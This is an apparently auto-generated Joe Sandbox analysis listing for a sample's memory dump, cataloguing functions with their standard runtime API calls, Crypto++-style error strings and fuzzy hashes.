Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: ArraySafe$Data$AccessCreateUnaccessVector_malloc_memmove
String ID:
API String ID: 583974297-0
Opcode ID: dbaccd03b899f8b55bb6dc129c0b01ba99bc62999432b1e8a9f5da39077ca0b9
Instruction ID: 6f0cab7c01c19cbb96ea8e0145f2d3e845453928c1cc360fb898ab91f5954771
Opcode Fuzzy Hash: dbaccd03b899f8b55bb6dc129c0b01ba99bc62999432b1e8a9f5da39077ca0b9
Instruction Fuzzy Hash: D6118EB6A04118BBDB10CFE5DC80EDFBB7DABD9654B018269F90497200E770DA058BE0

Function 6D025A70 Relevance: 6.1, APIs: 4, Instructions: 65COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 6D025AB9
VariantCopy.OLEAUT32(?,6D099C90), ref: 6D025AC1
VariantClear.OLEAUT32(?), ref: 6D025AE2
__CxxThrowException@8.LIBCMT ref: 6D025AEF

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: Variant$ClearCopyException@8InitThrow
String ID:
API String ID: 3826472263-0
Opcode ID: 1c3a14e3afd228d1bf5b00de9bed6ad9f8945ac7ccf63e6ba21f48cda171046b
Instruction ID: bbbc56778628335414891b8cf854baf9456d5d8cf3f3b86e65f8fb7c249c8379
Opcode Fuzzy Hash: 1c3a14e3afd228d1bf5b00de9bed6ad9f8945ac7ccf63e6ba21f48cda171046b
Instruction Fuzzy Hash: 7511D672905569BFDF00DF98C8C5BEFBBB8FB46624F11412AE924A3340C774990087E5

Function 6D038D80 Relevance: 6.1, APIs: 4, Instructions: 54COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 6D038D8A

Part of subcall function 6D069D66: __FF_MSGBANNER.LIBCMT ref: 6D069D7F
Part of subcall function 6D069D66: __NMSG_WRITE.LIBCMT ref: 6D069D86
Part of subcall function 6D069D66: RtlAllocateHeap.NTDLL(00000000,00000001,?,?,00000000,?,6D069BD4,6D001290,4E8A916F), ref: 6D069DAB

Part of subcall function 6D0691F6: std::_Lockit::_Lockit.LIBCPMT ref: 6D069202

_malloc.LIBCMT ref: 6D038DAF
std::exception::exception.LIBCMT ref: 6D038DD4
__CxxThrowException@8.LIBCMT ref: 6D038DEB

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: _malloc$AllocateException@8HeapLockitLockit::_Throwstd::_std::exception::exception
String ID:
API String ID: 3043633502-0
Opcode ID: 3a43a0dc92aedb10928d23431925c4c8a5d203c52d017c923fe8253cc0952c42
Instruction ID: e637a7703aaf9a5de797abe4908753d355278c0791975d8491e28d373138217c
Opcode Fuzzy Hash: 3a43a0dc92aedb10928d23431925c4c8a5d203c52d017c923fe8253cc0952c42
Instruction Fuzzy Hash: 9AF0F0728082662BF200EB95AC41BAF77E89F95720F42092CEA5493241F720D208C2B3

Function 6D070A60 Relevance: 6.0, APIs: 4, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 6D070A86

Part of subcall function 6D0708B2: __fltout2.LIBCMT ref: 6D0708DD

__cftog_l.LIBCMT ref: 6D070AAC
__cftoe_l.LIBCMT ref: 6D070ADE

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: 4bdea013960d862e58fdc3211a87ed6cb7384f6b6b2695c697ae8ee222476223
Instruction ID: bec6e00d61bd187ad63c4d5bb49f7292e53f7dbcd09a913a7bcac9ea49151a13
Opcode Fuzzy Hash: 4bdea013960d862e58fdc3211a87ed6cb7384f6b6b2695c697ae8ee222476223
Instruction Fuzzy Hash: CC117E7280814ABBEF224E85DC11EEE3F72BB19354F498614FE2859030C337C5B1AB89

Function 6D068970 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 175COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 6D068A84
_memmove.LIBCMT ref: 6D068AA0

Strings

EncodingParameters, xrefs: 6D068A41

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: _memmove_memset
String ID: EncodingParameters
API String ID: 3555123492-55378216
Opcode ID: edca9054faada542001a271f72ad968ac5eea621fe75193842b1294697ac5e2c
Instruction ID: 03c083481b5a47421eafc68941babcb51d1567ce4b92c5764ef21b30ba6ebfd6
Opcode Fuzzy Hash: edca9054faada542001a271f72ad968ac5eea621fe75193842b1294697ac5e2c
Instruction Fuzzy Hash: 8261E0B46083419FD304CF69C880A2AFBE9AFC9754F148A1DF59987391D7B0E945CBA2

Function 6D00F190 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 148COMMON

Download Yara Rule

APIs

Part of subcall function 6D004760: __CxxThrowException@8.LIBCMT ref: 6D0047F9

Part of subcall function 6D038D80: _malloc.LIBCMT ref: 6D038D8A
Part of subcall function 6D038D80: _malloc.LIBCMT ref: 6D038DAF

_memcpy_s.LIBCMT ref: 6D00F282
_memset.LIBCMT ref: 6D00F293

Strings

@, xrefs: 6D00F2DE

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: _malloc$Exception@8Throw_memcpy_s_memset
String ID: @
API String ID: 3081897325-2766056989
Opcode ID: e74a569ed8bc8cdb0acafafa51956ac2fd3349bea3418fb0166990c2e00ae6b6
Instruction ID: 2cde7cb9242af88733eb3c4eb201e473fa7ce668e2a241f8ec51b93612af3eae
Opcode Fuzzy Hash: e74a569ed8bc8cdb0acafafa51956ac2fd3349bea3418fb0166990c2e00ae6b6
Instruction Fuzzy Hash: E4519F70D08249EFEB10CFA4D940BDEBBB4BF55304F108198D94967381DB716A49CFA2

Function 6D036920 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 128COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 6D036A34

Strings

tm, xrefs: 6D036A8B, 6D036A93
: this object does't support a special last block, xrefs: 6D0369BC

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: Exception@8Throw
String ID: : this object does't support a special last block$tm
API String ID: 2005118841-806234092
Opcode ID: 74827ac2825510f8c19be5c1db895d6c18af6f07f8e8e3881e50c9c68bf7e65c
Instruction ID: f2be7bcd0817b95b2d436e029a878beca1712ade800ae516308579c807f49f26
Opcode Fuzzy Hash: 74827ac2825510f8c19be5c1db895d6c18af6f07f8e8e3881e50c9c68bf7e65c
Instruction Fuzzy Hash: 82414A752087809FD314CF28C880B5BBBE8FF9D614F508A1DF59997391EB30A9048B92

Function 6D004100 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 116COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 6D004175
_memmove.LIBCMT ref: 6D0041C6

Part of subcall function 6D004010: std::_Xinvalid_argument.LIBCPMT ref: 6D00402A

Strings

string too long, xrefs: 6D004170

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: Xinvalid_argumentstd::_$_memmove
String ID: string too long
API String ID: 2168136238-2556327735
Opcode ID: 9404d0726d62118caa4498dd45808aa12ab4d028ae6d90b6f7694a033312cb6f
Instruction ID: 656c76449c483ae8e08bb19fdcd7de91b1e519846356e60434797b5d4549ece7
Opcode Fuzzy Hash: 9404d0726d62118caa4498dd45808aa12ab4d028ae6d90b6f7694a033312cb6f
Instruction Fuzzy Hash: 2431A1323146107BF7219E5CEC80BAAF7EDEBBD764B60492BE591C7680C761DC4087A5

Function 6D03C350 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 104COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 6D03C39B

Strings

gfff, xrefs: 6D03C3A3
gfff, xrefs: 6D03C3F7

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: Exception@8Throw
String ID: gfff$gfff
API String ID: 2005118841-3084402119
Opcode ID: 0fc975951894ecdd0a9fd187ee17f5a7dd85dbf523fbdf3c3300f41ba2466e2d
Instruction ID: 73cd85e0fa9861f4fe6e75c44169765f62f9e30141db5f7cfee3e39de0dbeb05
Opcode Fuzzy Hash: 0fc975951894ecdd0a9fd187ee17f5a7dd85dbf523fbdf3c3300f41ba2466e2d
Instruction Fuzzy Hash: 6C31727190461EAFD714CF98D980FBEB7B9EB84318F45811CE915D7284D730BA15CBA1

Function 6D0018C0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 98COMMON

Download Yara Rule

APIs

Part of subcall function 6D004010: std::_Xinvalid_argument.LIBCPMT ref: 6D00402A

__CxxThrowException@8.LIBCMT ref: 6D00194F

Part of subcall function 6D06AC75: RaiseException.KERNEL32(?,?,6D069C34,4E8A916F,?,?,?,?,6D069C34,4E8A916F,6D099C90,6D0AB974,4E8A916F), ref: 6D06ACB7

std::exception::exception.LIBCMT ref: 6D00198E

Part of subcall function 6D0695C1: std::exception::operator=.LIBCMT ref: 6D0695DA

Part of subcall function 6D004010: std::_Xinvalid_argument.LIBCPMT ref: 6D004067
Part of subcall function 6D004010: _memmove.LIBCMT ref: 6D0040C8

Strings

Clone() is not implemented yet., xrefs: 6D0018ED

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: Xinvalid_argumentstd::_$ExceptionException@8RaiseThrow_memmovestd::exception::exceptionstd::exception::operator=
String ID: Clone() is not implemented yet.
API String ID: 2192554526-226299721
Opcode ID: 1c274e7e1a0ca3e80b27e97f25e1c09a2aabc0c543375a6b5df3308536694209
Instruction ID: c9bb8c1f2cd63e7f7ed37f368507cd175464446b7dacec73de8d51d987154c15
Opcode Fuzzy Hash: 1c274e7e1a0ca3e80b27e97f25e1c09a2aabc0c543375a6b5df3308536694209
Instruction Fuzzy Hash: 8B316071808248BFEB14CF99D840BEEFFB8FB19324F10462EE525A7681D7749504CBA0

Function 6D035560 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 95COMMON

Download Yara Rule

APIs

Part of subcall function 6D004010: std::_Xinvalid_argument.LIBCPMT ref: 6D00402A

__CxxThrowException@8.LIBCMT ref: 6D035657

Part of subcall function 6D06AC75: RaiseException.KERNEL32(?,?,6D069C34,4E8A916F,?,?,?,?,6D069C34,4E8A916F,6D099C90,6D0AB974,4E8A916F), ref: 6D06ACB7

Strings

InputBuffer, xrefs: 6D0355BF
StringStore: missing InputBuffer argument, xrefs: 6D0355E0

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: ExceptionException@8RaiseThrowXinvalid_argumentstd::_
String ID: InputBuffer$StringStore: missing InputBuffer argument
API String ID: 3718517217-2380213735
Opcode ID: 1c156294a26ef270050afd17303d8ea0bc0d459e24c9b5cb5c937717f1d296eb
Instruction ID: 789829f8d3224bb055b0a954c4723ccaf195d378e5885221bc07b9894c2308eb
Opcode Fuzzy Hash: 1c156294a26ef270050afd17303d8ea0bc0d459e24c9b5cb5c937717f1d296eb
Instruction Fuzzy Hash: 8F4135B150C7819FE320CF69D490B6BFBE4BB99714F448A1EF1A983291DB74D908CB52

Function 6D001EA0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 94COMMON

Download Yara Rule

APIs

Part of subcall function 6D004010: std::_Xinvalid_argument.LIBCPMT ref: 6D00402A

__CxxThrowException@8.LIBCMT ref: 6D001F36

Part of subcall function 6D06AC75: RaiseException.KERNEL32(?,?,6D069C34,4E8A916F,?,?,?,?,6D069C34,4E8A916F,6D099C90,6D0AB974,4E8A916F), ref: 6D06ACB7

std::exception::exception.LIBCMT ref: 6D001F6E

Part of subcall function 6D0695C1: std::exception::operator=.LIBCMT ref: 6D0695DA

Part of subcall function 6D004010: std::_Xinvalid_argument.LIBCPMT ref: 6D004067
Part of subcall function 6D004010: _memmove.LIBCMT ref: 6D0040C8

Strings

CryptoMaterial: this object does not support precomputation, xrefs: 6D001ED4

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: Xinvalid_argumentstd::_$ExceptionException@8RaiseThrow_memmovestd::exception::exceptionstd::exception::operator=
String ID: CryptoMaterial: this object does not support precomputation
API String ID: 2192554526-3625584042
Opcode ID: 9054cbca20ef34eea77345b4114b2d45cf01f89d308d54dfe61abc7fa98ec06a
Instruction ID: 885848ff15bf8199b161f46a220775406715c9b98d026d45635633b39dce4733
Opcode Fuzzy Hash: 9054cbca20ef34eea77345b4114b2d45cf01f89d308d54dfe61abc7fa98ec06a
Instruction Fuzzy Hash: 28316F71808248BFEB14CF99D840BAEFBB8FB09724F10866EE525A7781D7749504CB90

Function 6D013317 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 90COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 6D013327

Part of subcall function 6D06AC75: RaiseException.KERNEL32(?,?,6D069C34,4E8A916F,?,?,?,?,6D069C34,4E8A916F,6D099C90,6D0AB974,4E8A916F), ref: 6D06ACB7

std::_Xinvalid_argument.LIBCPMT ref: 6D01336B

Part of subcall function 6D0690D8: std::exception::exception.LIBCMT ref: 6D0690ED
Part of subcall function 6D0690D8: __CxxThrowException@8.LIBCMT ref: 6D069102
Part of subcall function 6D0690D8: std::exception::exception.LIBCMT ref: 6D069113

Strings

vector<T> too long, xrefs: 6D013366

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1771040358.000000006D0AE000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d000000_SecuriteInfo.jbxd

Similarity

API ID: Exception@8Throwstd::exception::exception$ExceptionRaiseXinvalid_argumentstd::_
String ID: vector<T> too long
API String ID: 1735018483-3788999226
Opcode ID: 696eed7e7b2e6e9031cb5d557ef62004cb543bee8df2f833d121a9123d02d910
Instruction ID: 3a6c988cf344e73ad1c1545e1cd5353f9de99fd5f71fdf7c627ded1c89c32564
Opcode Fuzzy Hash: 696eed7e7b2e6e9031cb5d557ef62004cb543bee8df2f833d121a9123d02d910
Instruction Fuzzy Hash: D4310579A086059FEB14CF98DC90B6EB3B0EB49314F16422DE9169B391DB31BD00CB95

Function 6D025810 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 76COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 6D02584D

Part of subcall function 6D0690D8: std::exception::exception.LIBCMT ref: 6D0690ED
Part of subcall function 6D0690D8: __CxxThrowException@8.LIBCMT ref: 6D069102
Part of subcall function 6D0690D8: std::exception::exception.LIBCMT ref: 6D069113

VariantClear.OLEAUT32(00000000), ref: 6D025899

Strings

vector<T> too long, xrefs: 6D025848

Memory Dump Source

Source File: 00000000.00000002.1770420201.000000006D001000.00000020.00000001.01000000.00000007.sdmp, Offset: 6D000000, based on PE: true

Associated: 00000000.00000002.1770344436.000000006D000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770718124.000000006D084000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770785053.000000006D09E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770811025.000000006D0A0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770868632.000000006D0A1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770904772.000000006D0A3000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1770938928.000000006D0AC000.00000004.00000001.01000000.00000007.sdmpDownload File
